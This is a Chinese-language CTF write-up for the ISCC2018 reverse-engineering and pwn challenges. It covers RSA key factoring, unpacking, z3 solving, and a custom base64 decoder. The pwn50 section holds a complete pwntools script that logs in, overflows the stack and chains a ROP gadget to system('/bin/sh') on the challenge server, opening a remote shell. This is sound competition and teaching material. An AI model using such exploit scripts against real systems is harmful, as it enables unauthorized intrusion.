ISCC2018 Reverse & Pwn writeup
Reference:L1B0
Re
RSA256
春秋歡樂賽原題。。flag都不變的
給了三個加密檔案和公鑰證書public.key,可以使用openssl進行處理$openssl rsa -pubin -text -modulus -in ./public.key Public-Key: (256 bit) Modulus: 00:d9:9e:95:22:96:a6:d9:60:df:c2:50:4a:ba:54: 5b:94:42:d6:0a:7b:9e:93:0a:ff:45:1c:78:ec:55: d5:55:eb Exponent: 65537 (0x10001) Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB writing RSA key -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK /0UceOxV1VXrAgMBAAE= -----END PUBLIC KEY-----rsa引數中, Exponent=65537 即為 e 值 ,Modulus即為n
使用python解密即可#!/usr/bin/env python #coding:utf-8import gmpy2 import rsa p = 302825536744096741518546212761194311477 q = 325045504186436346209877301320131277983 n = 98432079271513130981267919056149161631892822707167177858831841699521774310891 e = 65537 d = int(gmpy2.invert(e , (p-1) * (q-1))) privatekey = rsa.PrivateKey(n , e , d , p , q) with open("encrypted.message1" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode()) with open("encrypted.message2" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode()) with open("encrypted.message3" , "rb") as f: print(rsa.decrypt(f.read(), privatekey).decode())結果
leftleftrightright
一個upx加殼的exe程式
脫殼後,能夠在ida中發現疑似經過換位的flag:s_imsaplw_e_siishtnt{g_ialt}F
按照英文單詞猜測,還是有一定機率能猜出正確的flag的。
程式去殼之後就不能運行了,根據學長指示,可以在winedbg中進行除錯。但是系統自帶的老版本wine會遇到很多錯誤,所以編譯安裝wine3.8編譯安裝wine3.8
下載原始碼到使用者目錄
$tar Jxf wine-3.8.tar.xz
$cd wine-3.8/
$./configure --enable-win64
遇到一個錯誤error: no suitable bison found. Please install the 'bison' package.
$sudo apt-get install bison
又一個錯誤error: FreeType 64-bit development files not found. Fonts will not be built.
根據提示判斷是和字型相關的包,試了幾次一直處錯誤,索性暫時不安了影響應該不大
$./configure --enable-win64 --without-freetype
$make $sudo make installwine好像還有點問題,日後再說。。。
只要將斷點下在比較函式部分,輸入和flag等長的字串,對比換位前後的變化,即可得到flag變化規則,將之前的字串逆向變換即可得到flag 借用M4x大佬的圖和程式碼說明#!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' encrypt = "s_imsaplw_e_siishtnt{g_ialt}F" before = "abcdefghijklmnopqrstuvwxyzABC" after = "onpqmlrskjtuihvwgfxyedzAcbBCa" flag = [encrypt[after.find(c)] for c in before] print "".join(flag) #Flag{this_was_simple_isnt_it}My math is bad
解方程類的題目,使用z3比較容易解決
詳見z3學習檔案obfuscation and encode
程式邏輯可以說亂透了。。
輸入的flag經過fencode和encode兩個函式進行加密之後與lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq進行比較。
經過分析,encode部分是進行了三位變四位的操作
Result為最終比較結果,trans為flag經過fencode處理得到的串Reault[0] = alpha[trans[0] >> 2 & 0x3f] == 'l' v11 = 1 v10 = 2 Reault[1] = alpha[((trans[1]>>4)|16*trans[0]) & 0x3f] == 'U' Reault[2] = alpha[((trans[2]>>6)|4*trans[1]) & 0x3f] == 'F' v12 = 3 v24 = 4 Reault[3] = alpha[trans[2]&0x3f] == 'B'可以根據這一規律進行每四位進行爆破,trans
這是類base64,一般是更改替換表和偏移位數進行編碼,所以可以通過改寫base64標準解碼程式碼,實現一步到位這是改寫的愛測試國賽的程式碼。
# -*- coding: UTF-8 -*- table = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+' def decodeBase64(src): delPaddingTail = {0: 0, 2: 4, 1: 2} value = '' n = src.count('=') sin = src[:len(src) - n] for c in sin: value += bin(table.find(c))[2:].zfill(6).replace('0b', '') value = value[:len(value) - delPaddingTail[n]] print value middle = [] for i in range(8, len(value) + 1, 8): middle.append(int(value[i-8:i], 2)) output = middle print output return ''.join(map(chr, output)) res = decodeBase64("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq") print res得到trans
[37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]然後,我是通過暴力執行性加程式碼分析解決的fencode
寫gdb指令碼的方法倒是不錯,程式彙編的0x4008c6和0x400906兩行和生成trans有關
在除錯的時候只要檢視這兩句就能看到運算元,其餘的地方不用管
也能看到對24位flag,分成6組,每四位和m陣列的對應位相乘求和再%127得到trans,同樣可以使用z3進行求解。#!/usr/bin/env python # -*-coding=utf-8-*- from z3 import * trans = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38] print len(trans) m = [2,2,4,-5,1,1,3,-3, -1, -2, -3, 4, -1, 0, -2,2] a = BitVec('a',64) b = BitVec('b',64) c = BitVec('c',64) d = BitVec('d',64) for i in range(6): s = Solver() s.add((2 * a + 2 * b + 4 * c - 5 * d) & 0xff== trans[4 * i]) s.add((a + b + 3 * c - 3 * d)& 0xff== trans[4*i+1]) s.add((-1 * a - 2 * b -3 * c + 4 * d) & 0xff == trans[4 * i + 2]) s.add(( -1 * a - 2 * c + 2 * d) & 0xff == trans[4 * i + 3]) s.add(a<256) s.add(b<256) s.add(c<256) s.add(d<256) if s.check() == sat: print s.model() else : print s.check() #[b = 108, a = 102, c = 97, d = 103] #[b = 100, a = 123, c = 79, d = 95] #[b = 48, a = 121, c = 85, d = 95] #[b = 78, a = 75, c = 111, d = 87] #[b = 48, a = 95, c = 73, d = 108] #[b = 109, a = 86, c = 63, d = 125] f = [102,108,97,103,123,100,79,95,121,48,85,95,75,78,111,87,95,48,73,108,86,109,63,125] print map(chr,f) flag = '' for i in f: flag += chr(i) print flag可以得到六組解,排好順序轉字元即可
Pwn
Login(pwn50)
思路
1.沒有canary和PIE,在輸入choice時存在棧溢位.並且有system函式。
2.賬號密碼在常字串,且可以使用全域性變數”cmd”儲存寫入字串,可以在已知地址記憶體中輸入”/bin/sh”
3.在程式中找到了pop rdi; ret
,可以通過控制暫存器傳參,溢位後呼叫system函式。指令碼
#!/usr/bin/env python # -*-coding=utf-8-*- from pwn import * context.log_level = 'debug' # io = process('./pwn50') io = remote('47.104.16.75',9000) elf = ELF('./pwn50') sys_addr = elf.plt['system'] rdi_ret = 0x400b03 cmd = 0x601100 usr = 'admin' psd = 'T6OBSh2i' io.recvuntil('name: ') io.sendline(usr) io.recvuntil('word: ') io.sendline(psd) io.recvuntil('choice: ') io.send('1\n') io.recvuntil('and: ') io.send('/bin/sh\0\n') io.recvuntil('choice: ') payload = '3' * (0x50 + 0x8) payload += p64(rdi_ret) + p64(cmd) payload += p64(sys_addr) io.send(payload) io.interactive() # flag{welcome_to_iscc}Write some paper(pwn3)
double free 的問題
參見Fastbin之double freeHappy hotel(pwn300)
LCTF原題?House of spirit
Hos分析)
以Pwnable spirited_away為例分析。